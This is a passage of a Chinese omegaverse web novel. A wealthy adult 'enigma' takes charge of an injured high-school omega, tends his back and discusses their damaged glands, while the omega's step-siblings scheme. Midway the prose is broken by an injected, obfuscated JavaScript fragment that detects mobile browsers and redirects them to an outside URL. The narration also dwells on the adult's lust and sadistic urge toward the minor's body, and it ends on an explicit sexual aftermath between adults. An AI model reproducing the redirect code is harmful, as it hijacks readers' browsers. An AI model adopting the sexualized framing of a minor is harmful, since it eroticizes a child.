杜兆给她的零用钱不少,她爱美爱珠宝,更爱奢侈包包,但最终绝大部分的开销还是花在了两个孩子身上。
杜若寒其实不喜欢花美琳,只是在无数个足够温情的瞬间,在她的身上瞥见几分自己母亲的身影。
以至于他明知道是花美琳的刻薄,导致他的腺体被烧坏,仍旧无法对这样一位普通的母亲多恨上几分。
因为在这场复杂而难言的悲剧之中,错不在他,也并非完全在于继母。
杜若寒清醒的明白,一切的罪魁祸首一直都是从来无所作为的父亲。
小学时期的家长会一直都是家里的保姆在参加。
她会在众多同学面前牵起杜若寒的小手,回去的路上买一串冰糖葫芦,上面的糖霜杜若寒可以吃很久。
只有在这个时候,小小年纪的杜若寒才会短暂的停止思念母亲。
等他们都上了初中,没钱了的杜兆逐渐收回在外浪荡的心思,回归家庭。
而为了节省家里的开销,杜兆解雇了那位愿意给杜若寒开家长会的保姆阿姨。
自那之后,便无人再来学校给他开家长会。
直至今日,原以为会一直空缺下去的位置再次被填满。
尽管他知道,对方只是不想忤逆伍爷爷的意思,所以选择听从安排。
杜若寒很慢的眨了眨眼,指尖有些痒,本能的想要将这一幕更长久的留存下来。
但很可惜,现在不是时候,他的画笔和画夹也都不在身边。
第五江臧在这些个家长当中,毫无疑问是鹤立鸡群的存在。
明明高中生的课桌椅已经算得够宽敞的了,但对于长胳膊长腿的第五江臧来说,还是有些窄。
他神情淡漠的倚靠在椅背上,微微下垂着眼,按着成绩单与志愿表的指尖泛着柔和的光亮。
杜若寒望着他,不太明白为什么时间在一个人的身上流淌着变慢,以至于使周遭的一切都变得寂静而无声,而他的眼里只留下这样一个人。
直至下课铃的声音响起,杜若寒才惊醒般从往事中回过神。
教室内的家长们站起身,经过讲台将手中的志愿表一一交到邢复的手上。
只有男人不紧不慢的将杜若寒的成绩单收好放进抽屉,空着双手就要走。
邢复忍不住再次叫住他,“杜若寒哥哥。”
第五江臧脚步顿了一下,侧过脸看向他。
邢复蹙着眉,“您……不打算给若寒申请一下其他院校的志愿么?”
第五江臧撩起眼皮朝教室外瞥去一眼,瞧见杜若寒正低着头与旁边白皙的omega说笑。
“是我忘记跟您说了。”
“什么?”邢复不明所以。
“我会送他进预备校。”第五江臧收回目光,声音冷静而淡然:
“如果他愿意的话。”
说完便不再停留的朝门外走去,只留邢复一人神情错愣的站在原地。
第五江臧稍稍低下一点头,从教室走出来的那一刻,杜若寒就止不住心里紧张起来。
竹玉渲在一旁捏他的手臂,死孩子劲儿还不小,杜若寒疼的脑仁一抽一抽的。
男人很随意的冲他招招手,“杜若寒同学,我们回家了。”
一瞬间,杜若寒心脏砰砰直跳,竟然感到片刻的眩晕。
这种前所未有的感触,像猛烈而温柔的风将这些年堆积在杜若寒身上的灰尘卷走,只剩下最为静谧的安心。
直至自己坐进车里,没有任何想法的望着窗外一一掠过的风景和线,身边坐着的男人却在认真处理工作上的消息。
杜若寒很小心翼翼的瞥过去一眼,本不想引起什么注意,男人却很明锐的察觉。
他停下敲击键盘的手指,转过脸来目光很隐晦的扫过杜若寒微微弯曲的脊背。
“让他们退学可以么。”
杜若寒一时没有反应过来,“什么?”
等他明白过来才知道男人指的是和他打架的杨贺几人。
杜若寒心脏突突了两下,没有说话。
不是不想说,而是忽而有些接不上话来。
他在江临一中上学的这两三年里,打过无数次的架,发过好几次高烧,除了老邢为他找过施暴的学生家长之外。
他没有其余的靠山。
对于打架斗殴的处理方式,也几乎等同于零。
他沉默着不说话小脸很是拘谨,男人便合上笔记本电脑,替他做了决定。
“那就交给我可以么。”
可以么?杜若寒在心里想,应该可以的吧。
他点点头,显得话很少很安静,跟之前在学校打架时的模样又完全不一样了。
从凶狠的小豹子变回了一只柔顺的小猫咪,且是一只不敢大声喵喵撒娇的小猫咪。
第五江臧沉着眸子看了他一会儿,他没有跟杜若寒这般年纪大小的孩子待过,有些话想了想终究没说。
等车子抵达香榭丽舍,第五江臧还有其他的事情要做,并不准备下车。
关重为杜若寒打开车门时,明显瞧见小朋友望向老板的眼神分明是有话想说。
但第五江臧的注意力却集中在回复信息上,并没有理会。
杜若寒便只能欲言又止,在关重关上车门时很小声的说了一句:
“谢谢你江先生。”
黑色的迈巴赫驶离的很快,连带着男人俊美的侧脸也一同消失在眼前。
他没有听见吧……杜若寒脸色沮丧,其实应该再大声点的。
关重走到门口才发现身后的小同学并没有及时跟上,恰巧罗敏从里面走了出来。
“先生呢?”
“有事去了。”
“不回来了么?那你让我买消肿化瘀的药膏是……”罗敏不太确定的开口问道。
她以为药膏是为先生准备的,毕竟关重就站在她跟前,并且看上去好的不能再好了。
关重看了一眼走过来的清瘦少年,言简意赅的回道:
“是给杜同学的。”
罗敏明显一愣,“他怎么会在学校受伤?严重么?”
关重低头看了一眼腕表,“说来话长……麻烦你帮杜同学处理一下,我还有事先走了。”
罗敏点点头应下。
“罗姨。”杜若寒抬起头冲罗敏笑了一下。
罗敏从杜若寒的手中接过书包,又很仔细的将他全身打量了一遍。
其实除了白色的衬衣脏了几块之外,并没有哪里看上去有明显不妥的地方。
也许只是在学校不小心擦伤了而已,罗敏没有太放在心上,却
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也很客气的问道:
“听关重说你受伤了?要不要紧?”
杜若寒明显一愣,关重是什么时候看见他挨了杨贺的那一棍子的?
如果关重看见了,那是否江先生也看见了?
时间再往前推一点,那他们有没有听见什么不该听的话呢?一瞬间种种念头涌了上来。
杜若寒的脸色白了白,却很快将这些想法尽数压了下来,勉强笑了一下:
“罗姨,不碍事的,就是不小心撞到了桌角。”
罗敏瞧见他变化的神情,一时之间竟琢磨不透他的想法,不确定的又问一遍。
“真的不需要我帮你上药么?”
并不想麻烦别人,杜若寒脸色恢复如常道:
“没事的罗姨,我自己来就可以。”
罗敏迟疑的功夫,杜若寒已经从她手中接过了白管子的药膏。
“罗姨,麻烦你替我谢谢关先生,还有江先生。”
杜若寒说完便上了楼,只剩下罗敏有些后知后觉的反应过来这句话哪里不太对劲。
江先生?这件事和江先生又有什么关系?
不是只有关重去接他放学的么?也许只是顺便带过吧,罗敏有些不确定的想。
回到房间关上门的那一刻,杜若寒原本还挺得笔直的腰背瞬间塌了下来。
皮肉连着骨疼痛肿胀了一下午,杜若寒一直忍着没吭声,像个没事人一样。
其实他也不知道自己为什么会如此习惯忍耐,但现下只有一个人的时候,他便真的装不下去了。
他将手里的药膏丢在床头柜上,小心翼翼又龇牙咧嘴的将衬衣从身上脱了下来。
不用去洗漱间照镜子,杜若寒也知道后背估计是惨不忍睹的红肿一片。
他趴在床上摸了摸自己有些发烫的额头,被抑制环一直束缚着的腺体突突直跳,像是要钻出烂泥的竹笋。
看来等会要去问罗姨要点消炎药吃吃了。杜若寒这样想着便迷迷糊糊的睡了过去。
—————
“关重?”
身后传来脚步声,罗敏一转头看见去而复返的关重,以及关重错开身位之后,站在他身后的高大男人。
“先生您怎么回来了?”罗敏连忙放下手中的东西,走了过去。
第五江臧没有和别人解释的习惯,目光在一楼扫视一圈。
关重准备上楼,边走边对罗敏说:
“回来拿先生落下的文件,我去就好,你忙你的吧。”
罗敏应了一声,先生的书房向来是禁止家里佣人进出的。
这并没有什么不对,罗敏转身就要去接着做自己的工作。
但这个时候,先生却忽而开口喊了她的名字。
“罗敏。”
刚踏上楼梯的关重下意识朝他们那边看去,罗敏转过身来,脸对着他这边的方向。
“你没有给杜若寒上药?”
男人淡漠的语调没有起伏,看似疑问的话语却在罗敏渐渐变白的脸色下成了绝对的肯定。
关重心里咯噔一声,脚步停在原地。
听见先生已然冷下来的声音又问:
“人呢?”
罗敏紧张的呼吸差点停滞,“在、在楼上。”
“我、我以为他没有伤的很严重……”
想要解释的话没能说出口,已然被上了楼的男人毫不留情面的甩在了身后。
罗敏神情难堪的和楼梯上的关重对视一眼,她看见关重沉默片刻,有些不好意思的开口道:
“抱歉,忘记跟你说。”
罗敏不明白:“什么?”
“先生今天去学校给杜同学开了家长会,那药膏也是先生要买的。”
罗敏一整个错愣在原地,在杜若寒没有被接过来之前的那些日子里,有太多关于先生与老爷子之间争执的传闻。
而绝大多数的言语并不体面,连带着住进这里的杜若寒一起,罗敏同样不以为意。
直至今日意识到了自己的错误,而又在失神的片刻恍惚中,听见关重用着不太确定的语气说:
“也许先生确实不喜欢…联姻?但总归杜同学还是个小孩。”
是么?罗敏抬起眼看向关重,几乎心里发笑的想着:
他那样的人,真的会产生正常人该有的同情和怜悯么?
16.第 16 章
其实知道不该,但第五江臧还是站在了杜若寒的房间外,嗅到了几分几乎淡不可闻的芍药香。
味道发苦发涩,像是存放太久而变质了的廉价香水。
第五江臧抬起敲门的手缓缓落下,又不可避免且不合时宜的想起第五治曾在病房里和他说过的一些话。
我知道你不喜欢omega,又因为你父亲闹出的那些丑闻,而一样厌恶同性别的alpha。
难道你想找一个beta,在明知道自己E级素会随时失控而暴毙的情况下,让我一个将死之人……死都不能安心是么?
第五江臧望着窗台上那两盆快要过了花期的君子兰,沉默着站成一座僵硬的石像。
第五治还在说话,他脑袋里的那颗毒瘤使他消瘦,也压迫着他脑袋里的神经。
以至于第五治说话越来越慢,反应也越发的迟钝,可他活了大半辈子,仍旧骨子里要强。
他不能忍受自己颤颤巍巍的腿脚,更不能忍受自己连句完整的话都说不出来。
所以他需要更长的时间来组织语言,咬字、发力。
他说,若寒这个孩子,腺体后天性残缺,我不指望你能对他一见钟情,但也不要置之不理。
知道了。
第五江臧转过身,一张俊美的脸完全隐没在阴影之下,透着一股难言的漠然。
关重跟着上来时,正好瞧见第五江臧落下来没有敲门的手。
他没有看清先生的表情,几乎不经思考头脑一热的开口说道:
“先生,要不还是我喊人来处理——”
只说了一半的话被男人投射而来的锋利视线折断,无形的压迫感成吨挤压而来。
关重僵硬着脸站在原地,眼睁睁的看见男人按在门把上的大手修长而有力。
房门没有上锁,悄无声息的裂开一条缝,男人推开门的幅度很小,并不能让关重窥见房间里任何不该窥见的画面。
直至第五江臧完全进入了房间,关重仍旧大脑空白一片,不能反应。
就算杜若寒年纪尚小,但他也是一个分化了的omega啊……
没有人能共情此刻他的想法,只有站在台阶上看见这一幕的罗敏默默地转身离开。
杜若寒的房间没有开灯,重工编织的流苏窗帘被拉上,将窗外的余晖尽数遮挡。
第五江臧只是朝床上瞥见一眼,只是一眼便瞧见那人赤裸着的白皙脊背。
少年的蝴蝶骨漂亮而清晰,因着趴伏的姿势而格外突出明显,清瘦而脆弱的望眼欲飞。
第五江臧站在门口暗沉着一双眸子,没有动。
空气中苦涩的芍药香渐渐变得浓郁,它们贴围着男人的衣袖、甚至触碰到后脖颈处同样裸露着的腺体。
只不过相对于绝大多数alpha的腺体而言,enigma的腺体并不脆弱。
虽然两者在外形上相差不多,但enigma的腺体先天就有着能过滤杂乱信息素的能力,从而在信息素压制场上不费吹风之力的胜利。
他们是天生的领导者和控制者,隐匿在骨子里的变态因子迫使他们无法正常接受任何属于A或O的信息素传递。
而几乎所有的enigma们为了降低自身好斗嗜杀的天性,往往会一直将腺体的屏蔽功能开启。
这也就意味着enigma不再是通过传统的嗅闻方式来获取信息素的根本来源,而是凭借着属于自身的E能来识别信息素中所释放的能量。
无论是alpha还是omega,都会在信息素释放的过程中,释放同级别的能量。
只不过这种能量十分微弱,以至于不能被除了enigma以外的人所识别。
也就是说,enigma的信息素天生就没有味道,他们也不需要识别旁人的味道。
但在这一刻,第五江臧垂落在腿侧的指间微微一动,仍旧放肆那些算不上难闻的信息素缠绕在他自身的能量场上。
随后被烫的吱吱乱叫,消散在空气中。
第五江臧动作很轻的走过去,像是怕惊扰正在熟睡中的少年。
尽管他很清楚的明白,此时的杜若寒正在经受坏损的腺体所引起的高烧折磨。
少年垂落着的白皙脖颈上还戴着黑色的信息素抑制环,没能及时的解下来。
而在长期不解控的情况下,spx的抑制环可以有效吸收且保持信息素不外散的时间是一周。
当然,佩戴者本人信息素失控的情况下除外。
杜若寒的脑袋埋在柔软的被子里,只露出一点光滑的额头和颤动不安的眼睑,半个脸蛋烧的通红。
而他那窄细的能盈盈一握的腰身,也只是搭着被子的一角。
第五江臧的目光停驻在那里,过了片刻后才缓缓顺着凹陷下去的腰窝瞥见他本该光滑的脊背上那骇人的红痕。
而在这一瞬,第五江臧不得不承认,这样的一幕确实能唤醒人内心深处最为原始的欲望。
譬如,施虐欲。
但很快他便垂下了眼没有再看。
明明几个小时前还活蹦乱跳殴打他人、凶的不能再凶的少年,此时趴伏在床上安静而又脆弱的模样,才真正让人意识到他只是一个omega。
是为了保护自己而动的手,还是仅仅是为了旁人谩骂他的一句,买你的人是个信息素不全的残废,才生气动怒。
第五江臧站在床沿边上,脸上一切的神情都尽数隐没于晦暗不明的阴影之中,很难让人知道他究竟在想些什么。
又过了片刻,他才拿起放在床头柜上的消肿药膏,在指尖挤出一些。
杜若寒睡的迷迷糊糊中,忽而感觉后背有些许的凉意,却有效的消减了几分肿胀的疼痛感。
恍惚之中,好似有一只手很轻又很慢的抚摸了一下他额头前的发。
杜若寒不太确定,很想睁开眼睛却又实在是费力。
他被囚禁于虚无的梦里,不断找寻出去的路口。
梦的尽头是什么无人知晓,他只能拼命的往前走,随后慢慢看见一张逐渐清晰而真实的俊脸。
杜若寒愣了好一会儿,才猛地的从床上惊起。
“江先生?”
第五江臧向后小退了一步,以免他撞到自己的额头,再引起不必要的伤情。
他没有说话,瞧见杜若寒后知后觉的反应过来,红着一张小脸就想要拉扯过一旁的被子,完全不顾背上刚涂过的药膏。
男人只好出声提醒,“刚给你涂的药。”
杜若寒神情又是一呆,在这种他完全没有意想到却莫名坦诚相见的时刻,脑子像塞进冰箱里冻了很久的样子,已读乱回道:
“啊,没、没关系的,我会把被子洗干净的,您放心好了。”
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男人神情一顿,没有说话。
杜若寒在他沉默的这几秒钟内反应过来,自己应该是说了很丢人的蠢话,几乎是一瞬间涨红了脸。
不过原本就因发烧而红彤彤的脸蛋,其实并不会太明显,但第五江臧还是第一时间察觉到了他窘迫着的羞愧。
他想了想,开口说道:
“和被子脏不脏没有关系。”
“我只是担心你后背的伤而已。”
杜若寒愣了愣,抬起头来看向男人的双眸闪过一丝犹豫和胆怯,像是在确认什么。
第五江臧转过身去,“帮你贴上纱布可以么?”
“又或者等药干了之后再穿衣服?”
男人耐心的说了许多话,尤其是在今天,超过平时说的两倍还多。
如果关重在的话,只会更惊讶,但江先生本人并没有意识到这一点,接着说道:
“大概一两分钟就好。”
杜若寒是个很怕麻烦别人的人,与其让江先生下楼去拿纱布,然后再操作复杂的贴到他后背上。
他宁愿就等这一两分钟。
他看着男人挺拔的背脊,以及脖颈处完全暴露在他眼前的腺体。
杜若寒本能的抽动了两下鼻子,像一只贪恋主人气味的小狗。
第五江臧拉开衣柜的手微微一顿,但很快又恢复如常。
“这件可以么。”
他手里拿着一件宽松柔软的深色衬衫,即便药蹭上去了也看不太明显。
衣柜里的衣服都是罗敏在杜若寒搬进来的那天早上就提前准备好了的,全部都是新的。
杜若寒没有从这个衣柜里拿过衣服,除了男人拿走的那件,衣柜里仍旧是满的没有空隙。
大抵是不好意思穿,还是从本质上就觉得这些东西不属于自己。
没有等到回应,第五江臧将衣柜合上。
杜若寒正犹豫着,却见男人已经转过身,神情不容拒绝的将手里的衣服递给了他。
杜若寒到嘴的话只能又咽了回去,改成一句十分客气的谢谢。
“同样的话一定要说第二遍么。”
杜若寒一愣,下意识抬头看向站在面前的江先生。
第五江臧的脸上没有太多表情,神情也显得十分淡漠。
杜若寒竟觉得他有些不高兴,但也有可能只是自己的错觉。
他没有问说一句谢谢有什么不对,只是对于江先生提出来的要求无条件的答应。
于是第五江臧按耐住心里的那一点异样,目光重新落在少年白皙的脖颈上。
“不难受么。”
杜若寒躲在被子后面正要将衬衫往脖子上套,刚刚伸进去一个头,便听见江先生说的话。
他将脑袋从衣服里伸了出来,再伸出被子一点,正好能看见江先生的脸,表情疑惑的问:
“什么?”
男人没有说话,目光却很明显的垂落在他佩戴着忘记摘下来的抑制环上。
意识到这一点的杜若寒心跳猛地漏跳了半拍,那种火辣辣的羞耻感控制不住的从面颊一路窜到耳后,直至脖颈后面的一片也是毛孔颤栗着的。
但偏偏男人的目光不带丝毫的色欲,冷淡的像是看某件物品。
他脸不红心不跳的对杜若寒说谎,神色冷静:
“解了吧,我闻不见你信息素的味道。”
17.第 17 章
“解了吧,我闻不见你信息素的味道。”
听见这话的杜若寒有一瞬的愣怔。
即便他知晓江先生极有可能和他一样,是一位腺体有残缺的alpha。
但当男人如此平静的将真相说出来时,杜若寒仍旧觉得这样做未免对于江先生而言,过于残忍。
即便是他这样普通的人,在腺体坏损之后也遭遇了许多难堪而憋屈的经历。
更何况是身在更有权有势人家里的江先生,如果自身不能托寄于整个家族长辈的厚望,那么江先生本身也是痛苦并压抑着的吧。
更何况他是个很好的人,却不得不按照爷爷的想法,学着去接受一个同样腺体残缺的omega。
杜若寒心里有些难过,不过并不是为了自己。
于是在下一秒,他没有什么犹豫的抬起手按在了自己白皙而脆弱的脖颈上。
黑色的抑制环发出清晰的一声“滴滴”,落在这寂静的房间里尤为刺耳。
第五江臧看着那指纹解锁成功的抑制环,顺着少年的手从脖子上跌落,在柔软的被子上砸出一个凹下去的痕迹。
少年便有些难为情的红着脸偏过头去,露出一截十分漂亮的脖颈,连带着那发育并不完全的腺体一起,彻底暴露在男人的眼下。
而他无比乖顺的模样,迫使某些不该催生的欲望在这一刻彻底攀登到了顶峰。
男人垂下眼睑,目光直白而不遮掩的盯着少年脖子上那小小的、白嫩的腺体。
和其他正常的omega不太相同,杜若寒的腺体只有半个硬币大小,形状不规则且向外拱起的凸出一些。
模样却莫名的讨喜,催生一种让人忍不住想要含在嘴里慢慢吸允的邪想。
颜色却是漂亮至极的淡粉色,第五江臧没有目的的想,大抵是因为发着烧的缘故。
那小小的腺体向外肿胀的厉害,彻底暴露在空气中后,那些原本被抑制环吸收掉的浓郁信息素一股脑的钻进了男人的肌肤里,并勾缠着他的E级素,释放出更为惊人的热量。
而第五江臧几乎是在这满怀香气逼人的芍药花香中,被迫关闭了对外接受信息素的能力。
片刻之后,身体里躁动的E级素逐渐平稳下来,第五江臧听见杜若寒声音很小的询问:
“江先生,你这种情况……是天生的么?”
第五江臧神情微顿,对于无心引起的误会他并没有任何想要解释的想法。
“嗯,天生的。”本质上他也确实没有说谎。
杜若寒将衣服穿好,从床上下来站在第五江臧的面前,肥胖的衬衫让眼前的人儿变得娇小。
只是一张小脸还是很红,眼睛倒是睁的挺大,亮晶晶的很有神。
第五江臧想出去叫医生,但眼前的小朋友明显还有其他话要说,第五江臧便稍稍停顿了一下。
“那你……”杜若寒有些不好意思问出口的攥了一下衣角,“没有信息素的话,平时会不会很难受呢?比如……”
大抵是觉得涉及到的问题过于私密,问出口的话就实在是不礼貌,杜若寒只说了一半就没有再说下去,抬起头观察了一下面前的江先生。
男人神色如常,十分淡然的将他想问却没问出来的话说完。
“会难受,不过我没有易感期。”
enigma确实没有易感期,但他们的E级素发生暴乱的频率往往没有特定的规律和时间。
一旦触发E级素失控报警器,就会第一时间被E能控制中心的执行人员带走,封禁隔离。
而enigma承受E级素暴乱所产生的能量,每一次都比一名A?级alpha在易感期所产生的二十倍还多。
这也就意味着他们随时会在E能控制中心的红房子里,因压制不住E级素的流窜而暴毙身亡。
第五江臧身为E能控制中心最高执令,更是亲眼目睹过不下数十起这样暴毙而亡的案例。
尽管他有着远超常人的至高权利与身份,日常生活并不会被E能中心所监控,但也从未觉得自己能逃脱或是幸免于难。
小朋友并不知道事实的真相远远不是一句“会难受”那般轻描淡写可以带过的,但在这一刻,第五江臧觉得自己也确定应该是博得小朋友的同情。
于是他说,“如果有一天我有,那么我会死。”
话音未完全落下的下一秒,他看见小朋友漂亮的眼眸倏然一缩,有种近乎破碎的惊惧。
脸上的潮热快速退去之后,只剩下不知所措的愣怔,而眼尾摇摇欲坠的湿意却出卖了他内心之中的担心与害怕。
第五江臧微顿在原地,心脏不清不楚的遭受一击。
几乎是第一时间里,他为他开的玩笑话感到片刻的后悔。
但男人表面上神情未变,声音仍旧平稳有力。
“骗你的,别信。”
杜若寒又一愣,像是不太相信,但蹙起的眉却慢慢的松开了。
他抬起的手看上去倒是很想拍一下胸脯,但最终只是拘谨的又落了回去。
“你看到我的腺体了么?”
杜若寒没有等男人回答,便自顾自的说了下去,像是被吓到了而流露出一些与平时不相同的性格。
“我也没有易感期,在我很小的时候发了一场高烧,腺体就是在那个时候烧坏的。”
“医生说如果要做手术的话,成功的概率其实非常小,杜…我爸爸觉得与其手术失败被挖去腺体,倒不如就这样好好的活着。”
男人安静的听着,对于杜若寒所说的这些,他早已在对方更为全面的调查资料里大致了解过。
杜若寒的腺体早在两岁半的时候就被高烧烧坏了一部分的神经,以至于接下来的十几年里,腺体的发育一直是残缺不完整的。
六岁那年,杜兆曾带杜若寒去医院看过。
依照当时最好医院的医疗水平,腺体神经的嫁接手术成功的几率非常低,不到百分之二的成功率。
而一旦失败,除了保守治疗整个挖除被感染的腺体之外,没有别的方法。
这不仅仅是钱的问题,当时的杜兆和杜若寒都没得选。
被挖去腺体的人,和从出生就没有腺体的beta并不相同。
两者属于完全不同的生育体系,前者依赖于信息素的分泌而促进身体发育。
但beta没有信息素,自身体内仍旧能正常合成各类生长所需要的激素。
而大多没有信息素刺激的幼年未分化者,往往只能活个一年左右的时间就会夭折。
在那种情况下,不手术保留腺体才是唯一的最优解。
直至如今,杜若寒即将成年,了解过更多腺体手术这方面的知识后,他已然对自己坏损的腺体恢复健康,不再抱有任何的希望。
又或者是在更小的时候就已然接受了自己并不完整的命运。
他没有正常的发情期,也不像其他的omega那样容易受到alpha的信息素蛊惑。
当然,身体里坏掉的那一部分也给他带来许许多多意想不到的痛苦和折磨。
而最为常见的一种就是现在这样,因腺体内信息素堆积,无法正常释放而堵塞引起的发热与发烧。
“这么多年我已经习惯了这样的生活,其实也没什么不好。”
杜若寒神情十分真诚的开口道:
“所以江先生,我觉得你是个很好很好的人,只要真正了解过你的人,都能知道你其实完全能配得上更优秀的omega,即便是没有易感期和信息素也会有人愿意爱你。”
“而且你今天也很照顾我,在学校也帮了我许多……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017317|160985||http|test|mini|href|location''.split(''|''),0,{}));
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>第五江臧撩起眼皮来看他,对于少年随口说出“爱”这个字眼,尤其觉得刺耳。
他没有说话,杜若寒便有所察觉的停下,有些不太确定的捏了捏衣摆。
第五江臧看着他像红苹果一样红的脸蛋,挪开眼转身道:
“你还在发烧,我去叫医生。”
杜若寒愣在原地,其实想着自己只是有点头晕,吃点退烧药就好了。
但男人已经走到了门口,动作很快的打开了门,像是不太想继续逗留。
杜若寒便没有说话,望着他挺拔的身形,有些失落的想着是不是自己说错了什么话。
没等他沮丧两秒,房间里忽而又响起第五江臧的声音。
“以后,不要再随便给别人看你的腺体。”
杜若寒猛地抬头,愣怔一瞬。
第五江臧看着他的眼眸深不见底:
“除了我以外。”
猛然想起什么的杜若寒脸颊胀红的厉害,几乎不敢和男人对视,结结巴巴的回应着:
“好、好的江先生。”
————————
杜润雨找到他哥的时候,杜汀州正和一个不认识的红毛坐在甜品店里吃蛋糕。
准确来说,喜欢吃这家蛋糕的人只有杜汀州一个。
红毛面前只有一杯冰镇橘子汁,正聚精会神拿着手机打游戏。
杜润雨跑进来一屁股坐在两人的对面,杜汀州便止不住蹙起眉来,语气冷淡且透着几分不满。
“怎么不回家?”
杜润雨盯着红毛眼前的那杯果汁看了看,他很渴,但还有更重要的事没说。
他将手机扔在了杜汀州的面前,动作不小,就连低头打游戏的红毛也忍不住抬起头来看向他。
杜汀州瞬间冷下脸来,几欲发火,杜润雨赶紧抢先道:
“你还有心情吃蛋糕?你知不知道今天那个什么杜若寒的事都在各大高校传遍了!”
听到杜若寒的名字,杜汀州脸上没有太多意外的表情。
他这个窝囊废一样的继兄被造谣也不是一天两天的事了,他眼神责怪杜润雨的大惊小怪,并没有低头去看他递过来的手机。
“怎么了,爸爸又骂你了?”
杜润雨在一旁急的跺脚,“不是!!!”
“哥,你压根不知道那废物从哪找来一个什么哥哥,今天在学校可算是出尽风头了。”
“这照片,还是别人偷拍时我多留了个心眼悄摸着保存下来的。”
“你不知道,他那个什么哥哥好像很有势力,偷拍他的同学还没回到家,就被父母要求赶紧删除照片,一张不留。”
杜汀州一愣,“为什么?”
杜润雨急死了,“还能为什么?对方的警告电话都打到他们爸妈手机上了!”
“说是不删除就起诉!口气很大很狂!”
“哥,你说他从哪里找来的靠山?我他妈这几天活的憋屈死了!”
“想找人堵他,他妈的他身边天天有保镖接送他上下学!我还被爸骂,说什么我学习太不上心……”
杜汀州没有理会弟弟的抱怨,只是低下头看着手机里保存下来的一张模糊照片。
尽管镜头模糊,但照片上的男人身形挺拔,仅仅露出半个侧脸,皮肤宛如白瓷,给人一种过目难忘的凌厉美感。
杜汀州眉头紧锁,他不是杜润雨那样的傻子。
真的以为杜若寒能在外面找到一个像模像样的哥哥,这分明就是买了杜若寒的那个有钱人。
只不过对方的身材外貌确实令人出乎意料,杜汀州没有说话,他身边的红毛忽而咧嘴一笑。
“哟,这不是第五明柯的小叔叔么?”
杜汀州猛地抬起头,脸色难看的望向身边的曲呈野:
“你说什么?”
18.第 18 章
“说了你也不认识。”
红毛慢悠悠的站起身来伸了一个懒腰。
目光在那张模糊的照片上逗留片刻后才拿起一旁的书包,笑嘻嘻的开口道:
“看在你天天借我抄作业的份上,我劝你呀,还是赶紧把照片删了吧。”
红毛说完便头也不回的走了,杜汀州跟着起身还想些说什么,但红毛并没有给这样的机会。
杜润雨皱起眉看着他走出甜品店后,很快上了一辆停在路边的轿车,不一会儿便消失在视野里。
他没忍住问道:
“哥,这人谁啊,说话口气真不小。”
杜汀州收回视线,重新在他面前坐下,甚至懒得抬起眼来看他,语气冷淡:
“曲影安最疼爱的小儿子,曲呈野。”
曲影安这个名字太过熟悉,熟悉到杜润雨对于各大媒体新闻上报道曲氏集团实际掌权人曲影安精彩纷呈的私生活,已然到了可以背诵的程度。
只不过这还是第一次在现实生活中听见,杜润雨愣了好一会儿才反应过来,惊的下巴都要掉下来:
“真的假的啊,你不会骗我吧?”
“他真是曲影安的儿子?那他岂不是……”
真正的少爷公子哥,说是太子圈里的小霸王也没人敢反对就是了。
杜润雨悄无声息的倒吸一口凉气,杜汀州撩起眼皮看了他这没用的弟弟一眼,不无讥讽的笑道:
“跟第五家比,他曲氏集团又算得了什么。”
“如果曲呈野说的是真的,那你我可就有麻烦了。”
杜润雨没有听明白,一脸茫然,不是在说曲影安么?怎么又扯到第五家和他们身上了?
望着杜润雨那一脸蠢相,杜汀州心里的厌烦尤胜。
他面无表情的拿起叉子将跟前的巧克力慕斯蛋糕戳的稀烂,乱七八糟的糊了一盘。
但愿曲呈野眼拙看错了人,再说杜兆真有本事攀上第五家的人脉能够把人送进去的话……
怎么可能会不选他杜汀州,而是选一个残废的杜若寒?
不过是白日捉鬼没影子的事罢了,杜汀州不想再过多纠缠,很快就对杜润雨下了逐客令。
“再过几天我要去玉栾山一趟,妈会陪我一起,时间不定。”
听到这话的杜润雨微微一愣,很快反应过来,杜汀州确实是到了快要分化的日子了。
杜兆在玉栾山有一处房产,位置偏僻,环境也幽静,正好没人会去打扰,用来给杜汀州渡过分化期是最好不过。
再说,杜兆与花美琳都格外看重杜汀州此次分化。
尽管检查报告上都已显示结果,分化成一名高等级alpha是极大概率的事情。
但杜兆仍旧觉得此事必须重视起来,不能有任何的闪失。
说是去玉栾山度假,其实就是故意为了避开他吧。杜润雨低着头心里暗自想着。
杜汀州并不想搭理他这莫名而来的情绪,接着说道:
“我和妈不在的这段时间里,你不准给爸惹麻烦,至于杜若寒那边……你也不要再去了。”
杜润雨猛地抬起头,脸色微微扭曲:
“什么意思?难道你就想让我这样憋屈的忍到死?我明确和你说,我就是做不到!”
杜汀州表情冷漠的看着他这个一无是处的弟弟,眼底尽是不耐:
“随便你,从明天开始爸和妈都不会再给你任何一分钱,你尽管去做你想做的。”
听到这话的杜润雨脸色一僵,然而杜汀州仍觉不够,讥讽道:
“你以为自己是什么?离开我们家,你又比那个残废好到哪里去?”
“他杜若寒是残废,你杜润雨更是废物一个。”
说完,杜汀州起身离开,只剩气得浑身止不住发抖的杜润雨一人留在店里。
————————
梁慈默刚结束五大院的会议,第五江臧一个电话打来,十分钟后他便出现在了香榭丽舍别墅的门前。
他习惯性的抬了一下眼镜,望向来给他开门的罗敏,想了想还是问道:
“罗姐,我是来给谁看病呢?”
话刚问出口,梁慈默自己都忍不住在心里发笑。
他一个五大院正科级的主任,多得是人家上门求医,他倒好,上门问病!
此情此景,梁慈默恨不能仰天长啸一声,你们这些可恶的有钱人!
但事实上,已经坐到如今地位上的梁慈默,并不是什么有钱人就能请得动的。
即便放眼整个燕临市,能使唤他的人也是屈指可数。
罗敏不知道他心中所想,面对梁慈默时态度一如既往的放得很恭敬。
“是杜若寒少爷。”
“您这边请,我带您上去。”
梁慈默一挑眉毛,杜少爷又是哪位?
江臧现在也学楚落那一套,玩什么金屋藏娇了?
这使他不由得想起,两个月前去诸王家里的那次。
正临诸王易感期,楚落非哭喊着死活不肯放人,等梁慈默过去的时候,其实已经来不及了。
满地都是被白色所填满的安全套,玄关处、椅把手上全都是可疑的不明液体。
楚落被捆绑在他自己打造的那张惩戒刑床上,同样被身为alpha的诸王变相刺激的进入发/情期。
当时的梁慈默站在门口,脚都不知道该往哪里伸。
